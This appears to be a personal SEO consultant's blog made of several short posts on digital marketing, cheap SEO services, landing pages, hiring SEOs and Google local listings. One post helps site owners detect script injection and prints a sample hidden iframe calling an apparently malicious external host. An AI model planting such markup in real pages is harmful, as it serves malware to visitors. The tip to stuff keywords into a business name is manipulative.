The buzz that Digital Marketing has created is relentless. It keeps on growing day by day. But somewhere in the jargons and the hype we have lost the essence of Digital Marketing. It has turned into a business more centered on buildup than reality. More likes than revenue, more fake followers than actual ones, more views than clicks and more traffic than actual customers.
I think it’s an ideal opportunity to take a back seat and focus on our objectives rather than the hype created. There are several simplistic ways and tweaks that can give you higher ROI.
Most of the people reading this would concur with me who have been guaranteed the sky, but realistically couldn’t accomplish even the basic revenue targets.
If you are frustrated with your digital marketing campaigns then you need to ask these few questions-
Keep your digital marketing approach SMART…Specific…Measurable…Attainable…Relevant…Timely & most important one be Genuine.
Website is the modern sales tool that you really need to get right. Business searches are now online, no one tries to find a business in their old phone directories or use business books.
Search Engines are the new search tool, linkedin has become a place to find genuine business people, websites have become the new face of companies.
Once people start browsing through the website, the first thing they will do is a value judgment – are these people serious about what they do? I know it sounds terrible, but people judge books by their covers.
Secondly, they might look for a piece of information. What could they possibly be looking for? They are looking for evidence; evidence that you can solve their problem. All aspects of on-line marketing are becoming critical to industrial selling. And it’s no longer just a case of getting your brochures converted to the internet (though that is a good start).
Companies have started investing in new age marketing tools to get business leads;
search engine optimization, affiliate marketing, pay-per-click, social networking, BLOG’s and traditional push strategies.
So what are you waiting for...go online!!!
Negative feedbacks about few Cheap SEO services prompted me to write this article to make people aware of the current market situation. Today the internet market is flooded with Cheap SEO services. If you have cheap products or cheap services then obviously you can go for one of these low cost services. But if you are really trying to make your mark on the internet platform then you need to shell our few more bucks instead of using cheap services. Well not all the companies branding themselves with cheap seo services are fraudulent, some of them might be just targeting the keyword to get potential traffic to their website.
But I have seen recent trends where people have been going for cheap seo services without trying to find the facts about these companies and their credentials. The only thing hovers over their mind is the low cost but they fail to foresee the problems that they will be facing ahead. I have retained clients who have actually gone for the lucrative cheap advertisements with good sales pitch and now have found themselves nowhere to go.
1) The companies which offer really cheap services will not be able to sustain for too long.
2) To sustain they should have multiple projects distributed among its employees, who in return are not able to justify their services for individual clients.
3) Low cost means cheap labor and talent doesn't come cheap.
Remember: Nothing comes cheap and everything has a price…
Lot of people are so engrossed about driving traffic to their site and getting ranked in search engines that they forget how important it is to convert the traffic that does come to their website. It will not matter if you get hundreds of visitors per day, if you do not have a site that can convert those visitors into some sales. If you fail to grab your reader’s attention for the first 15 seconds, you have lost your opportunity to acquire a lead or make money. That is why putting some time and effort optimizing your landing webpage will create a huge difference in your business.
What is a landing page?
A landing page is created to give the first impression to your visitors and tell them about what they need and how you can solve their problem. If you manage to deliver that information and grab your visitor’s attention, you will be successful.
Best Practices to create a successful landing page:
Recently there have been lots of cases of malicious script injection in the websites html code. This has been a menace for lot of businesses as this type of attack can result in loss of business since the browsers like Chrome & Firefox block the websites and show warnings which drive the visitors away. The virus has been improving its techniques as the days go by.
To avoid being flagged by Google for malicious script please keep checking your website for iframes. There have been recent developments where the virus has started adding just java scripts without using the iframes in order to avoid detection. In some cases the whole structure of a web page has been damaged by these scripts.
How to check whether your website has been injected by the script?
1) Visit the website.
2) Click on the View Tab on the Main menu and select Source.
3) The whole source code for your webpage is displayed.
4) Search for “iframe”. The iframe code is usually at the start of the body tag or before the end of the body tag .
5) The script will be somewhat like this
div style="display:none" iframe src="http://offiget.ru:8080/index.php" width=732 height=186
Change the FTP password for your website frequently.
If attacks are frequent on the index page, rename your default page.
Change the permissions for the files on the server.
1) SEO is a long term process; you cannot get results instantly. It’s not an instant coffee maker. Beware of those SEOs who guarantee results in short period of time.
2) Choose professional SEOs and not part time designers & developers who know little bit of SEO. Remember your online business is at stake.
3) Be clear with your Goals, Remember you are the one who understands your Business in and out. Make SEOs understand of what you exactly want.
4) Work with them, combination of your business knowledge and their technical skills will deliver good results.
5) Discuss about the probable keywords & your targeted audience which will give them clear picture about what they need to do.
6) Be Patient, there will be improvements but with steady pace.
7) Keep track of your visitors; spend time in understanding that along with your SEO team.
8) Check the Google Analytics reports monthly.
9) Achieving rankings is not end of the process; remember you have your online competitors working with another SEO team like what you do.
For any guidance on Search Engine Optimization & Search Engine Marketing do contact on
The inclusion of local business, maps, videos, product search in google web search has been a big boon for online businesses. I don’t know if most of the people in the seo industry have discovered this or have been able to take advantage of this opportunity. Inclusion of your business in the google local business centre increases your chances of making it to the top 10 in local search results without spending too much time on website optimization. Though keep in mind that you cannot get in top for each and every keyword. But surely it’s the fastest way to get in the top 10 search results in Google. Just search for the keywords where Google throws up the local business results. For example keyword “website developers” which has a competition of 285,000,000 shows up the local business results in google.co.in. Get your business added in google local business, include keywords in your company name and if things go right for you, your listings will be in the top 10 search results for a keyword with huge competition. The same procedure implies for products also.
I did it for my website http://www.girishmore.com/ and my listing is on the first page for keywords seo consultant mumbai & seo specialist mumbai without working hard for the rankings.
Easy and smart way to get in the top isn’t it?
I have started Ideas@Work with the intention to share ideas that crossed my mind during 15 years of extensive work in the SEO/SEM Industry along with some interesting things that I come across on internet. I hope these posts prove useful to all those who visit my blog.